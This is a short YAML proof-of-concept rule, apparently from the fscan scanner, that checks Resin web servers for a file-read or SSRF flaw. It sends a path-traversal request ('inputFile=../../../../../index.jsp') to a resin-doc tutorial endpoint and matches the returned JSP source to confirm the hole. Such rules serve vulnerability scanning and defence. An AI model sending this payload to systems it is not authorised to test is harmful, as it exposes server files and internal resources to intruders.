fscan/WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml

11 lines
472 B
YAML

name: poc-yaml-resin-inputfile-fileread-or-ssrf
rules:
- method: GET
path: /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes("<%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %>"))
detail:
author: whynot(https://github.com/notwhy)
links:
- https://www.secpulse.com/archives/496.html